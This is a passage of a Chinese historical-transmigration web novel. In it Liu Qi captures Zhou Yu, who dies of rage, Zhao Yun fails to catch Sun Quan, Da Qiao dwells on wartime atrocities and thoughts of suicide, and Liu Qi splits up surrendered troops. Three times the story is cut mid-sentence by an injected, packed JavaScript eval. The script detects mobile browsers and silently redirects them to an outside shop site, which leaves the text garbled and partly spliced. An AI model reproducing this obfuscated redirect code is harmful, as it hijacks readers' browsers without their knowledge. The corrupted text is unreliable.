而城外喊杀声早已停歇,府内方才的厮杀声犹在耳畔,以周瑜的智谋而言,早就猜到了城中定然是出现了重大变故。 而**这个生面孔出现不过是验证了周瑜心中所想而已。 “你降了!”周瑜缓缓开口,这不是疑问,而是陈述。 吕范闻言,有些羞愧地撇过头去,不敢直视周瑜的目光。 **手按剑柄,警惕地注视着周瑜的一举一动。 **原以为会看到一个狼狈不堪、惊慌失措的周瑜,却不料周瑜虽病体支离,但身上的气度却未曾折损半分,只是静**立在床榻上。 室内陷入死一般的寂静,只有周瑜沉重的呼吸声在空气中回荡。 良久,周瑜见吕范垂首不语,便缓缓撑起身子,尽管胸口仍阵阵作痛,却仍强撑着整理好凌乱的衣襟,将散落的长发一丝不苟地束好。 “走吧。” 周瑜整理好衣冠,声音平静得仿佛只是要去参加一场寻常的会面。 “带我去见刘琦。” 此刻的周瑜心中疑云密布:孙权是生是死? 那万余江东精锐何在? 刘琦究竟如何识破他精心布下的诈降之计? 这些疑问像毒蛇般啃噬着周瑜的内心。 若不是有这些疑问在心头萦绕不去,以周瑜心性,早在判断出城池已破、大势已去的那一刻,便会毫不犹豫地拔剑自刎。 他周瑜年少成名,心高气傲,岂能忍受沦为阶下囚的**? 周瑜就是想要在临死前问问刘琦究竟是如何识破这个连周瑜自己都觉得完美的计策? 周瑜不明白,自己布下的局堪称天衣无缝:黄盖与他当众争执,杖刑之苦实实在在,投降的理由更是合情合理——老将不堪受辱,转投明主,在这乱世中再寻常不过。 这等苦肉计,任谁都会信以为真。 怎么就被你刘琦给识破了呢? **注视着周瑜整理衣襟的动作,眼中闪过一丝诧异。 **心中暗叹:难怪主公常说江东周郎,非比寻常,这等风范,确实令人心折。 是以,**不由得松了松紧握剑柄的手,语气也不自觉缓和了几分: “周都督既然愿往,便请速行。末将奉命护卫,还望都督莫要耽搁。” 说着,**侧身让出通路,四名精锐士卒分列周瑜左右。 吕范在后方欲言又止,周瑜却已率先向门外走去,步伐沉稳得不似重病之人。 **紧随其后,吕范迟疑片刻,终究低着头跟了上去。 穿过廊庑时,周瑜目不斜视地踏过地上的血迹,对两旁倒伏的侍卫尸首视若无睹。 第83章 刘琦:都督汝妻小吾养之! 夏口城内的临时吴侯府邸中,刘琦正负手立于堂前,审视着孙权昔日处理军务的厅堂。 这里还保持着原主离去时的模样——案几上摊开的江夏舆图墨迹犹新,那方代表着江东权柄的讨虏将军银印静静置于案头。 刘琦随手拿起那方银印把玩,指尖感受着印纽上猛虎的纹路,嘴角泛起一丝意味深长的笑意:“他日若能亲手将此物交还孙权,倒是一段佳话。” 正说话间,门外传来一阵略显拖沓的脚步声。 只见庞统摇晃着他那颗硕大的脑袋,步履蹒跚地走了进来,宽大的衣袍随着他的走动左右摇摆,模样颇显滑稽。 “恭喜主公,贺喜主公!“庞统咧开嘴笑道,露出一口不算整齐的牙齿,“如今夏口已定,江夏在握。” 庞统晃着脑袋,继续恭维道:“此战过后,天下诸侯看谁还敢小觑主公!” 刘琦轻轻放下银印,神色并未因为庞统的吹捧就自得:“此战全赖将士用命,岂是琦一人之功?” 庞统夸张地一拍大腿,挤眉弄眼道:“此战能胜,皆因主公知人善任;诸将效死,全赖主公调度有方,若非主公英明决断,运筹帷幄之中,决胜千里之外,焉能有此大捷?” 刘琦被庞统这番滑稽模样逗得莞尔,正要指着庞统说些什么打趣的话,却见一名亲兵快步而入,单膝跪地: “禀主公,陈将军已擒获周瑜,正在府外候见!” 刘琦立即敛去笑意,整了整衣冠,目光沉静:“传!” 说罢,刘琦反身从容落座在那张曾经属于孙权的檀木主位上,手指轻抚扶手处精致的虎头雕饰。 殿外传来沉稳的脚步声,**押着周瑜步入堂内,抱拳禀报:“末将幸不辱命,已将周瑜带到。” 刘琦微微颔首:“子烈辛苦了! **躬身退至一旁,手始终按在剑柄上。 随后端坐在主位上的刘琦凝视着阶下那个周瑜,心中泛起波澜——这就是青史留名的美周郎啊。 即便此刻病容憔悴,依然难掩其儒雅风姿。 而周瑜同样直视着刘琦,这位让他人生迎来转折的对手。 二人相视无言,殿内陷入一种奇特的寂静。 良久,刘琦嘴角带着若有若无的笑意,故意问道:“公瑾当初随孙策进犯我江夏疆土时,可曾想过会有今日?” 周瑜淡然一笑,声音平静无波:“当今之世,汉室倾颓,诸侯相争犹如春秋。” “既入此局,胜败皆是常事。今日败于君手,不过是瑜才具有限罢了。” 刘琦闻言,脸上的笑意渐渐敛去,随后刘琦端坐正身。 从穿越至今,从在襄阳被蒯氏、蔡瑁联手排挤的软弱长公子开始,刘琦经历了太多——率军出襄阳、横渡云梦泽、奇袭大破孙策、直至今日全取江夏。 刘琦早已不是刚穿越过来时那个见到历史名将就激动难抑的普通人心性了,现在的刘琦,是坐拥数万大军、掌控荆襄要地的一方诸侯。 先前刘琦确实欣赏周瑜的才华,也曾想过招揽周瑜。 但此刻看着对方这副从容自若的模样,仿佛自己不是被擒之人,反倒是占了上风时二人会面的模样,见此,刘琦心中那点惜才之意顿时淡去。 你周瑜确实有经天纬地之才,但莫要忘了此刻的身份——阶下之囚。 我刘琦虽爱才,但却无那等名将收集癖。 既然你执意要摆出这副超然姿态,那便随你去罢,这天下英才何其多,不缺你一个周瑜。 是以,刘琦端坐正身,沉声问道:“今日之事,公瑾以为当如何?” 闻言,周瑜淡然一笑,缓缓整了整有些凌乱的衣襟:“今日,有死而已!” 刘琦凝视着周瑜苍白的脸庞,忽然想起记忆中那段经典对话,便顺着话锋问道:“公瑾自然可一**之,然家中老小当如何?” 周瑜抬眸,目光如古井无波:“瑜闻以孝治天下者不害人之亲,以仁政施四海者不绝人之祀。家母妻小,不在瑜,在明公耳。” 周瑜这番话掷地有声,殿内陷入一片寂静。 刘琦注视着周瑜那双视死如归的眼睛,忽然明白这位江东美周郎,是当真存了必死之心。 刘琦缓缓靠回椅背,指尖轻叩扶手。 好个周瑜,临死还要用言语挤兑我。 什么“以孝治天下者不害人之亲“,分明是要逼我亲口承诺善待他的家小。 好,既然你非要玩这把戏,那我就...... 良久,刘琦忽然轻笑一声,带着几分恶趣味说道:“公瑾啊公瑾...你既说家母妻小,不在瑜,在我耳,那好——” 刘琦前倾身躯,目光如炬: “汝家母妻子,吾养之。公瑾你大可安心赴**。” 刘琦这话说得轻描淡写,却让周瑜从容的神色终于出现一丝裂痕。 周瑜猛地攥紧袖子,原本苍白的脸上泛起不正常的红晕。 殿内众人皆屏息凝神。 而刚归降的吕范偷偷打量了刘琦几眼,见这位新主神色认真,全然不似说笑,不由得心头一凛。 而周瑜却是被气的踉跄后退半步,以袖掩口剧烈咳嗽起来。 待周瑜放下衣袖时,掌中已染上一抹殷红。 周瑜猛地一甩衣袖,声音带着压抑的怒意:“罢了!以你这等恶劣性子,连''邀二乔献舞于帐前''这等话都说得出口,我本就不该指望你能以君子之道相待!” 刘琦面不改色,只是淡淡问道:“那公瑾还有何话要说?” 周瑜强忍胸口不适,问出心中的疑问:“孙权...是生是死?你究竟如何识破我的诈降之计?” 这两个问题,如同毒蛇般啃噬着周瑜的内心。 若不得答案,周瑜便是死也难以安息。 刘琦闻言,顿时会意,原来周瑜甘愿忍辱前来,是为了解开这两个心结。 刘琦不禁莞尔:我能告诉你,我是从《三国演义》里知道的吗? “孙权啊——” 刘琦故意拖长语调,眼中闪过戏谑,“江津渡的所有船只都已被我焚毁了,想来此刻或许正在某处藏匿着吧。” 这话如同重锤击在周瑜心上。 “至于你那诈降之计...” 刘琦故作高深地笑了笑,“有些事,天机不可泄露。或许...是黄盖的演技还不够火候吧?” 说到这,刘琦故意顿了顿,又补上一句:“下次若还要行此计,记得寻个更会做戏的说不定...我就当真信了。” 这话中的讥讽之意,让周瑜身形剧震。 周瑜原本苍白的脸色瞬间涨红,嘴唇剧烈颤抖着,似要说什么,却只能发出嗬嗬的声响。 “你...你...” 周瑜手指颤抖地指向刘琦,忽然一口鲜血狂喷而出。 然后在众人惊骇的目光中,周瑜的身子晃了晃,随即直挺挺地向后倒去。 “砰“的一声闷响,周瑜重重摔倒在地。 周瑜那双曾经睿智明亮的眼睛依然圆睁着,却已失去了所有神采,只是死死地盯着殿梁,仿佛在质问着这不公的命运。 殿内一片死寂,然后**上前蹲下身,伸手探了探周瑜的鼻息,随即抬头看向刘琦,沉声道:“主公,周瑜...气绝身亡了。” 殿内顿时一片哗然,众将面面相觑,谁都没想到这位江东都督竟会在此刻气绝身亡。 刘琦闻言大惊,霍然起身:“什么?” 刘琦快步走下台阶,难以置信地望着地上那具尚有余温的躯体,脑海中闪过一个荒诞的念头:演义里明明是诸葛亮三气周瑜,怎么今日竟成了我刘琦气死周瑜? 后世史书,该不会将今日之事记作刘琦三气周瑜吧? 这个想法让刘琦一时间竟不知该作何表情。 这时,一直沉默的吕范低声道: “启禀明公,自那夜周都督见到主公那封''邀二乔献舞''的书信后,便时常胸口作痛。” “医者说是气血淤堵,以致厥心痛发作。这些时日接连受挫,今日又...” 吕范的话未说完,但意思已再明白不过。 “厚葬吧。” 良久,刘琦终于开口,声音里带着几分复杂,“就以江东都督的礼节,好生安葬。” 刘琦一声令下,也算是为周瑜的一生画上了句号。 当周瑜的尸身被抬出殿外时,窗棂已隐隐透进一丝鱼肚白。 夜风从半开的堂门卷进来,带着战场残留的硝烟味,吹得阶下的灯笼忽明忽暗,也吹得刘琦鬓角的发丝飘动。 刘琦抬手抹了把脸,指腹触到的全是黏腻的疲惫,昨夜鏖战半宿大获全胜、亲手擒住周瑜的兴奋劲,此刻已如潮水般退去,只留下沉甸甸的倦意压得刘琦眼皮发沉。 然而刘琦揉了揉酸胀的眉心,强撑着站直身子——夏口刚定,千头万绪容不得自己半分松懈。 接着刘琦打起精神对着阶下诸将有条不紊地部署接下来的部署,话语虽简,却将战后千头万绪的事务一一厘清:从江东俘虏的安置 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739416|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处置,到夏口各城门的防务布控,再到府库物资的清查与荆州援兵的调度,连伤兵救治、阵亡将士遗骸收敛这类细枝末节,也没落下半分。 庞统、**、吕范等人凝神细听,不时点头应下,将各自肩头的担子记在心上——这些事务桩桩件件都关乎夏口安稳,容不得半点疏漏。 待大致部署完毕,刘琦才稍稍放缓语速,补充了句“凡事以稳为先,有棘手之处随时来报”,便示意诸将各自行动。 就在刘琦在夏口城中安排善后之时,赵云正率领两百精骑在江岸荒野间疾驰。 此刻赵云心情极为不爽,他方才虽在混战中斩杀了潘璋,但却又让那孙权给逃脱了。 那辆载着孙权的驴车,不知是何缘故,竟然在这短短时间内逃出了赵云视野。 以至于若非荒草中留下的新鲜车辙,赵云几乎要失去追踪的方向。 “快!” 找到车辙后,赵云一把将潘璋的首级挂在马脖子上,然后厉声催促其余骑兵追击,顿时战马四蹄腾空,沿着蜿蜒的车辙全力追赶。 随后赵云沿着车辙约莫追出十里,眼前豁然开朗,竟然来到了江边。 赵云放眼望去,只见江面之上,一支悬挂凌字旗的船队正在江心列阵。 而那道他苦苦追赶的身影,此刻正被亲兵搀扶着登上一艘走舸。 “孙权休走!” 赵云大喝,率部冲下缓坡,来到江边。 原来凌统在江津渡与宋谦交战时,敏锐地察觉到从荆州大营方向传来的厮杀声渐趋异常。 那不再是两军胶着的混战声,而是呈现出一边倒的溃败之势。 加之宋谦部队在此出现,凌统立即判断出孙权偷袭必已失败。 而眼见宋谦部队攻势愈猛,凌统当机立断:命部属驾驶还能调动的三十余艘战船立即撤离江津渡,却并未远遁,而是将船队泊在江心暂避。 同时凌统亲自率领数艘走舸在靠近北岸的水域焦急地游弋,时刻准备着一旦孙权出现就立即靠岸接应,甚至不惜与宋谦部再次交战。 然而凌统左等右等,始终不见孙权踪影。 就在凌统心急如焚之际,忽然看见一队荆州兵马出现在江津渡口,为首那员老将手持长刀,正是黄忠! 凌统心中猛地一沉,黄忠的出现,意味着,就算孙权逃至此,凌统也没实力上岸击退黄忠、宋濂去接应孙权了! 但凌统随即转念一想,黄忠既在此处搜捕,那便说明孙权尚未落入敌手。 “传令各船,立即南下!” 凌统当机立断,“主公定然是改道向南往长江边去了!” 凌统判断孙权见江津渡火起,必不会自投罗网,而是会选择南下,另寻渡江之处。 船队立即顺流而下,果然在距离江津渡不过数十里处,望见岸边那道熟悉的身影在驴车上正仓皇驶向江边。 “快!派遣小船靠岸接应主公!” 见状凌统急令。 当孙权被亲兵搀扶着登上走舸时,凌统这才松了口气。 凌统最后望了一眼北岸,只见一员敌将从江边缓坡上冲出,猛地扎入江中喊道: “孙权休走!” 接着就见敌将张弓搭箭,一箭破空而来,好在因距离太远,箭矢在主公船尾尚有数十步处力竭坠入江中。 “可恶!”赵云望着渐行渐远的走舸,恼火的狠狠将弓掷在水中。 而在走舸上的孙权回首望去,见赵云在江边勒马徘徊的身影,不禁泪流满面。 这一路逃难,韩当、潘璋等忠心部将一个接一个为他断后赴死,如今只剩下这残兵败将。 凌统见孙权望着江岸泪流满面,虽不知具体经过,但从孙权孤身逃至江边的狼狈模样,便知定有忠臣义士舍生断后。 凌统搀扶住惊魂未定的孙权走上自己旗舰低声劝慰道: “主公,今日之败非战之罪,只要主**在,他日必能重振旗鼓。” 孙权望着对岸渐渐远去的江夏土地,喃喃道:“今日之败,他日必当百倍奉还!” 而此时赵云勒马江畔,望着渐行渐远的船队,银枪重重顿地。 这一夜追击,赵云斩将破敌,连斩潘璋、韩当二将,可谓战果累累。 然而纵有千般战功,却让最主要的孙权在眼前逃脱,这让赵云心中满是愤懑与不甘。 良久,赵云才调转马头,对副将沉声道:“回城向主公报信。” 朝阳初升,照在赵云染血的银甲上。 这一夜追击,终究是功亏一篑。 第84章 孙权?驴车战神? 清晨的晨光透过窗户,洒在吴侯府邸书房内。 昨夜刘琦在部署完军务后,便在这书房小憩片刻后便又起身处理战后事务。 城外荆州大营战后琐事还有诸葛亮可以托付,但城内就只能靠自己了。 而正当刘琦在案前批阅文书时,忽闻门外传来沉稳的脚步声。 赵云一身征尘未洗,甲胄上还带着血迹,提着一颗须发怒张、血迹已干的首级,进入书房单膝跪地: “末将赵云,特来复命!” 随后,赵云将首级恭敬呈上:“此乃敌将潘璋首级。” 稍顿片刻,赵云沉声禀报:“末将奉命截击孙权,昨夜率部追击,先于途中击溃假冒孙权断后的韩当所部,斩韩当于马下,后又在江边追上孙权,但却被潘璋舍命相阻,经一番血战,终斩此獠。” 赵云低头请罪:“然...终究让孙权趁机遁走,未能完成主公重托,请主公治罪!” 刘琦放下笔墨,目光扫过潘璋怒目圆睁的首级,又落在赵云疲惫的面容上。 刘琦起身离座,亲手扶起赵云: “子龙何罪之有?” “韩当、潘璋皆乃江东宿将,你能斩此顽敌,已是大功一件。” 见赵云还要请罪,刘琦摆手打断:“孙权如今丧师失地,纵使逃脱也不过是丧家之犬。待我军休整完毕,江东指日可下。” 随即,刘琦唤来亲兵:“且带子龙下去歇息,命庖厨备好酒食。” 赵云深深一揖:“末将...谢主公不罪之恩。” 望着赵云离去的背影,刘琦的目光重新落在潘璋的首级上,心中却是百转千回。 孙权驾着那辆夺来的驴车,竟然真的从子龙手下逃脱了? 这着实让刘琦感到匪夷所思,赵云的玉狮子是千里挑一的良驹,而那驴车...... 想到这里,刘琦嘴角微抽,不禁想起那个在后世史书里被戏称为驴车战神的赵光义。 莫非这孙权,竟成了这个时空的驴车战神一代目? 这莫非就是天意?还是说孙权命不该绝? 缓步走到窗前,听着渐渐热闹起来的夏口城街道。 虽然让孙权驾着驴车逃脱确实令人啼笑皆非,但经此一役,江东精锐尽丧,孙氏政权已经元气大伤。 “既然如此...”刘琦轻声自语,“就让你这个驴车战神再多苟延残喘些时日罢。” 就在赵云向刘琦复命之时,吴侯府邸,准确来说是江夏太守、辅义中郎将刘琦的府邸,而府邸一旁一座素雅的别院中大乔正对镜梳妆。 铜镜中映出的是一张略显苍白却依然绝美的容颜,只是眼下的青黑透露出她昨夜的不眠。 听着院外不时传来的甲士行走发出哗哗甲片声,大乔的思绪不禁飘回昨夜。 子时刚过,城北突然爆发的厮杀声将瞬间将大乔惊醒。 那震天的喊杀、兵刃相击声,与数年前皖城被破时的声响如出一辙,大乔下意识地紧紧搂住被惊醒的孙绍,幼子在她怀中啼哭不止。 “绍儿不哭...” 大乔紧紧搂住被惊醒的孙绍,一边轻拍幼子的后背,一边凝神细听外面的动静。 那震天的喊杀、兵刃相击声,与数年前皖城被破时的声响如出一辙。 而如今大乔的处境,与当年在皖城的经历何其相似——同样是深陷围城,同样是听着敌军破城的声响,同样在黑夜中抱着人瑟瑟发抖。 “为何...为何又要经历一次...” 大乔低声呢喃,声音带着抑制不住的颤抖。 原以为被孙策这样的诸侯强迫为妻后,此生再不必经历这般城破人亡的恐惧。 怀中的孙绍突然又啼哭起来,将大乔从回忆中惊醒。 大乔这才意识到,自己正身处另一场城破之祸中。 院外甲胄铿锵声越来越近,伴随着士卒呼喝的号令。 想起那些传闻——城破之日,乱兵最先闯入的就是她这样的宅院。 大乔永远记得皖城被破那日的惨景,城门崩塌的巨响之后,便是人间地狱的开始。 邻家那个爱弹琴的少女,被几个满身血污的士卒从闺房里拖出,琴弦断裂的声音混着凄厉的哭喊,最终消失在街角。 对门书香世家的老夫人带着三个女儿投了井,第二天打捞上来时,母女四人还紧紧相拥。 巷口酒肆的当家娘子,往日引以为傲丰润的身姿,这时却成了招祸之由,被**得最为凄惨,最后不甘**悬梁自尽。 城破之日,多少朱门绣户转眼成空,多少红颜女子命运多舛。 而大乔知道,以她们姐妹的姿色,当年若不是孙策看中她与妹妹的容貌,将她们接入军中,下场定然比那些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739417|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 普通女子凄惨百倍——至少那些女子还能求个速死。 想到这里,她将孙绍搂得更紧,恐惧的泪水无声滑落。 而这时随着城北厮杀声停息后不久,院外便传来甲胄铿锵声,且还越来越近,伴随着士卒呼喝的号令。 这一次,等待她们的会是什么?是重演当年的命运,被新的霸主纳入后宫?还是... 大乔闭上眼,等待着院门被推开的声响,同时将一把金簪的尖端指向自己的咽喉。 若真到了那一步,她宁可..... “夫人,该梳妆了。” 侍婢的声音让大乔猛然回神。 大乔这才发现,自己正坐在妆台前,手中的犀梳不知何时已停了下来。 铜镜中,那张绝美的容颜依然苍白,只是眼底多了几分决然。 大乔轻轻放下犀梳,看着镜中自己脖颈处若隐若现的一处红痕——那是昨夜金簪留下的印记。 昨夜当听到院外响起的甲胄声时,大乔确实想过自尽,但令大乔稍感安心的是,这些士卒只是严守岗位,并未如想象中破门而入。 大乔轻抚脸颊,镜中容颜虽带憔悴,却依然堪称绝色。 这份容貌曾让大乔被孙策强纳,如今或许能成为她和孩子的护身符。 “梳个惊鸿髻。” 大乔吩咐侍婢,“再取那件鹅黄深衣来。” 既然决定活下去,就要做好万全准备。 而大乔料定刘琦迟早会召见她。 无论是因为她的容貌,还是她作为孙策遗孀的身份。 当侍婢为她描眉时,大乔已在心中盘算:若刘琦如孙策般只求她一人相伴,为了绍儿,她可以隐忍接受。 但若要将她当作玩物轻贱,甚至**后赏赐给下属。那她....... 大乔瞥了眼妆匣底层,那里还藏着那支金簪。 “夫人,这样可好?”侍婢为她簪上一支步摇。 大乔端详镜中雍容华贵的自己,轻轻颔首。 既然命运再次将她推上风口浪尖,那就要以最美的姿态,换取刘琦的庇佑,让绍儿在这乱世中得一方安宁,那便是最好的结局。 她实在是不愿再卷入权力纷争,只求能与孩子平淡度日。 晨光愈发明亮,映得大乔身段愈发窈窕动人,鹅黄深衣紧贴着玲珑曲线,在腰间束出恰到好处的弧度。 第85章 夺其旧部!刘琦的驭下心机! 数日后,夏口城头,刘字大旗在江风中猎猎作响,取代了昔日飘扬的孙字旗。 城内的血腥气尚未完全散去,但秩序已然恢复。 战后第三日,刘琦便开始着手处理最紧要的事务——安抚降卒,整编军队。 临时划出的降卒营地里,人头攒动,这里关押的是随同孙权袭击荆州左营血战中力竭被擒的万余江东精锐士卒。 当夜孙权亲率万余精锐劫营,先遭黄忠迎头痛击,后被王朗伏兵截断退路,营中自相践踏者不计其数。 待天明清点,斩首三千余,踩踏致死逾千,最终被俘的,仍有八千余人。 这八千多江东士卒虽然身上大多带着伤,衣甲残破,但眼中混杂着战败的**,和一丝丝憋屈。 这一仗,他们败的实在太憋屈了! 他们本是江东精锐,若是在开阔地带堂堂正正列阵而战,进退有据,旗号分明,他们自信绝不会输。 可那一夜,一切都乱了套。 先是跟着主公孙权,满怀信心地摸黑去掏刘琦的后背,指望着里应外合建立奇功。 结果刚冲进营寨没多久,形势就急转直下,仿佛一脚踏进了精心布置的陷阱。 漆黑的夜色里,根本分不清东南西北,只听见四周都是荆州军的喊杀声,仿佛前后左右全是敌人。 火光摇曳,人影憧憧,身边的同袍不断倒下,建制被打乱,基层军官的命令传不下去。 看着身旁的人一个个放下武器,自己也就在一片茫然和恐慌中,稀里糊涂地跟着放下了兵器投降了。 很多江东士卒直到被缴械时都没弄明白,这仗怎么就打成了这样? 这场败仗,与其说是力战不敌,不如说是在混乱中被兜头打懵了,败得莫名其妙,以至于就算已经过了好几天,许多士卒此时满心都是无处发泄的窝火。 当身着甲胄的刘琦在一众将领簇拥下走进其中一个俘虏营时。 营内的江东士卒看到刘琦瞬间不少士卒下意识地握紧了拳头,但随即又无力地松开。 而这一切,在前往营内高台上的刘琦自然是看在眼中。 但刘琦只是嘴角几不可察地微微一哂,心中毫无波澜。 这些江东士卒些许不甘,在刘琦眼中不过是败犬的哀鸣罢了。 败军之将,何足言勇? 我能擒他们一次,就能擒他们无数次。 这种基于数次胜利建立起来的自信,让刘琦足以俯瞰眼前这些江东士卒小小的不服。 刘琦一身锃亮的玄甲在日光下泛着冷冽的光,稳步登上营地中央临时搭建的一座丈余高台上。 冰冷的目光扫过台下黑压压的人群,目光扫过这些面容或憔悴、或惶恐的面孔,让许多原本还带着几分不服的俘虏低下了头。 刘琦立于高台之上,目光扫过下方的江东士卒,朗声道:“尔等皆乃江东健儿,受孙权、周瑜蛊惑,犯我江夏,如今,首恶或逃或亡,尔等既愿弃械,我刘琦亦非嗜杀之人!” 在这人命如草芥的乱世,战胜者对俘虏往往拥有生杀予夺之权。 坑杀、充奴皆是寻常,如昔日霸王项羽,便曾一夜坑杀二十万秦卒。 刘琦此刻特意点明非嗜杀之人,既是宣示自己不同于那些残暴之辈,更是要以这种居高临下的宽宏姿态,先在气势上彻底压服这些败军之卒。 而当刘琦身旁的亲卫齐声复诵,声浪层层传开,确保每个角落的俘虏都能听清。 这话落在八千江东降卒耳中,却激起了截然不同的反应。 许多士卒非但没有感激刘琦,反而因为刘琦那居高临下的语气,胸中那股因败得糊涂而积压的怒火烧得更旺了。 他们原本都憋着一股窝囊气——那一夜败得实在太冤,黑暗中不知多少人是被自己人踩踏,或是稀里糊涂就被缴了械。 此刻听到刘琦这般“宽宏大量”的施舍语气,更是激起了他们的逆反心理。 不少士卒心想,:若不是那夜中了埋伏,黑灯瞎火地乱了阵脚,若是堂堂正正列阵而战,谁胜谁负还未可知! 当下便有不少士卒对刘琦怒目而视,人群中甚至响起几声压抑不住的冷哼。 他们紧握着拳,脖颈上青筋暴起,若不是被缴了械,当下就有士卒要暴起而涌上高台,拿刀问问刘琦老子刀锋利否? 刘琦将这一切尽收眼底,不过刘琦非但没有动怒,反而眼底掠过一丝难以察觉的欣喜,唇角不自觉地勾起一抹笑意。 先前刘琦还担心这些江东士卒,在经历如此惨败后,在面对自己的故意宽宏大量言语后,若只剩下麻木与恐惧,那这些士卒便与行尸走肉无异,只能充作苦役。 但此刻他们眼中仍有怒火,胸中尚存不甘,这恰恰说明他们心气未失,骨子里仍是悍勇之士。 这等士卒,只要运用得当,恩威并施,便能将他们从败军之士迅速转化为可用的精锐。 刘琦虽然取得了江夏大捷,名动天下,但刘琦深知争霸天下如逆水行舟,不进则退,切不可因一时胜利而自得自满。 是以,刘琦很快便将目光投向了江东,而眼下孙策新丧,孙权大败,江东腹地空虚动荡,正是千载难逢的良机。 是以,刘琦需要大量熟悉江东水土、通晓水战的兵员来充实自己的力量,为下一步顺江南下、鲸吞江东做准备。 眼前这八千尚有血性的江东健儿,只要运用得当,便能迅速转化为可用的精锐,成为刘琦下一步经略江东的重要力量。 是以,刘琦转头对随行的几名文官吩咐道:“即刻着吏员、皂隶,将此八千人详加甄别,凡年纪尚轻、体魄强健,且观其神色怨怼不深者,另列一队。” 刘琦这一手分化工夫极为老辣。 降卒虽众,但只要区分开来那些年轻力壮、心中怨气不深的,往往更容易被收编同化,只要给予出路和希望,很快就能转化为忠诚的战力。 而将那些怨气深重或体弱年长者分开安置,既能避免他们在军中煽动不满,又能通过屯田将其转化为生产力,可谓一举两得。 命令下达,早已候命的数十名吏员皂隶领着数百名士卒立即行动起来。 他们手持名册,在降卒中穿梭,依照刘琦定下的标准仔细甄别——拍拍年轻人的臂膀,查验身上的伤疤,更重要的,是观察每个人的眼神和神情。 “你,站到左边来。” “这个年纪大了,记入屯田册。” “这个眼神不对,先单独看管。” 营中顿时忙碌起来,八千降卒被吏员们像筛米般仔细筛过。 约莫一个时辰后,队伍泾渭分明地分成了两拨:左边约五千人,多是二十到三十岁的青壮,虽面带几分敌意,但也并非孙权死忠分子,对于皂隶的命令至少是听得懂。 右边约三千人,则多是年纪较长或身上带伤,神情也更显麻木,或对于皂隶的命令充耳不闻。 刘琦对这个结果颇为满意。 刘琦再次开口,声音已不似先前那般冷厉: “左边五千人,暂编为‘靖江营’,归吕范、蒋钦二位将军节制。好好干,莫要辜负了这条生路。” “右边三千人,即日押送往安陆屯田营。劳作五年,期满去留自便。” 这个处置,让原本提心吊胆的降卒们终于松了口气。 尤其是那五千青壮,听到能重归江东将领麾下,眼中甚至流露出几分感激。 待分营完毕,刘琦却并未就此结束。 刘琦转向侍立一旁的吕范、蒋钦,语气平和: “公奕,子衡,你二人献城有功,我自当重用,不过...” 闻言,二人心中当下一紧。 刘琦话锋微转,但却不容置疑道:“你二人皆是江东旧人,熟悉江东军务,这五千靖江营就交由二位统领了。” “不过为免二位分心,你们原先的部曲,我另作安排,如此,二位便可专心操练新军。” 刘琦这话让吕范、蒋钦心头一震。 二人明白,刘琦这是在防备他们。 但二人都没有说因此而心生不满,降将待遇无外乎于此,而让二人心中稍微安慰的是,至少刘琦这个新主并没有在言语上羞辱他们。 刘琦这一招可谓一石三鸟。 首先,调走吕、蒋二人的核心旧部,既是对他们忠诚的考验,也从根本上杜绝了日后再次跳反的可能。 其次,将这五千由战俘组成的靖江营交给蒋钦、吕范二人,看似委以重任,实则是暗藏玄机。 这些士卒都是力战被俘,对吕范、蒋钦这种主动投诚的将领,内心深处难免存有芥蒂,甚至视他们为“叛徒”。 刘琦如此安排,既利用了吕、蒋二人的才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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**珍连忙谦道:“此乃属下分内之事,不敢当主公谬赞。” 刘琦闻言哈哈大笑,伸手虚扶道:“功就是功,何须谦虚!沙羡能在战后迅速安定,流民得以安置,生产得以恢复,这都是你的政绩。” “我向来赏罚分明,该是你的功劳,一分也不会少。” 刘琦这番话既是真心肯定**珍的才能与功绩,也是在向所有臣属表明自己赏罚分明的态度。 刘琦深知,欲成大事者,可以有许多缺点,甚至可以暴虐,但唯有一点必须恪守,那就是赏罚分明。 这不仅是君主最基本的操守,更是凝聚人心的不二法门。 昔年高祖刘邦,文不及萧何,武不如韩信,谋难敌张良,却能驾驭群雄,正在于刘邦深谙赏罚之道。 **珍见主公如此态度,心中感动,再次深深一揖:“珍必当竭尽全力,不负主公信任。” “好。” 刘琦满意地颔首,随即交代正事:“今日召你来,主要交代两件事。” “其一,我意明晚于府中设宴,犒劳有功将士,不过不仅要犒劳在座将领,更要让全军将士同沐恩泽。只是...” 刘琦略作停顿,目光意味深长地看向**珍:“江夏新定,府库尚虚,若要犒赏三军,酒肉之资恐怕难以为继.....” **珍何等精明,岂会不知江夏府库现状? 刘琦这番话明面上是交代差事,实则是要他**家出资而已。 但这对**珍而言,反倒是进一步巩固家族地位的机会。 是以,**珍当即躬身道:“主公体恤将士,实乃三军之福。江夏府库虽虚,但我**家在江陵尚有些许积累,愿献酒百瓮、肉千斤,以供犒军之需。” **珍这番话答得极有分寸,既未夸耀家世,又恰到好处地展现了实力与诚意。 刘琦见习珍如此识趣,眼中掠过一丝赞许,赞道:“那设宴之事便有劳**主薄费心了。” “此乃属下分内之事。”**珍再次躬身。 “其二!” 